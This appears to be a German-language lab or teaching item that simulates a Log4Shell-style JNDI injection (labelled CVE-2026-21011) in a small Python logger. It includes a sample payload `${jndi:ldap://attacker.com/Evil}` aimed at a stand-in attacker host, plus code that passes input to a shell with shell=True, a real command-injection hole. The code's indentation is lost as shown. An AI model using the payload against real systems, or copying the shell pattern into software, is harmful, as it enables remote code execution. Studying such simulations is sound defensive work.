
Simuliert CVE-2026-21011, eine Log4j-artige JNDI-Injektion in einem benutzerdefinierten Logger: parst ${jndi:...}-Muster und demonstriert LDAP-ausgelöste Remote-Codeausführung.
# log4j_sim.py - Custom logger that evaluates ${...} patterns
import subprocess, re
def log(message):
# Vulnerable: looks up JNDI-like syntax and executes
pattern = r'\$\{jndi:(.+?)\}'
for match in re.finditer(pattern, message):
lookup = match.group(1)
if lookup.startswith('ldap://'):
# Simulate connecting to LDAP and loading a class
print(f"Loading malicious class from {lookup}")
subprocess.run(f"echo 'CLASS LOADED: {lookup}'", shell=True) # just demo
log("User-Agent: ${jndi:ldap://attacker.com/Evil}")
Ein benutzerdefiniertes Logging-Framework wertet ${jndi:...}-Muster in Logmeldungen aus, ähnlich wie die berüchtigte Log4Shell-Schwachstelle. Ein Angreifer kann eine JNDI-Lookup injizieren, um beliebigen Code von einem entfernten Server zu laden und auszuführen.
Führen Sie die Simulation aus:
python log4j_sim.py
Das Skript gibt aus, dass es eine Klasse vom LDAP-Server des Angreifers laden würde.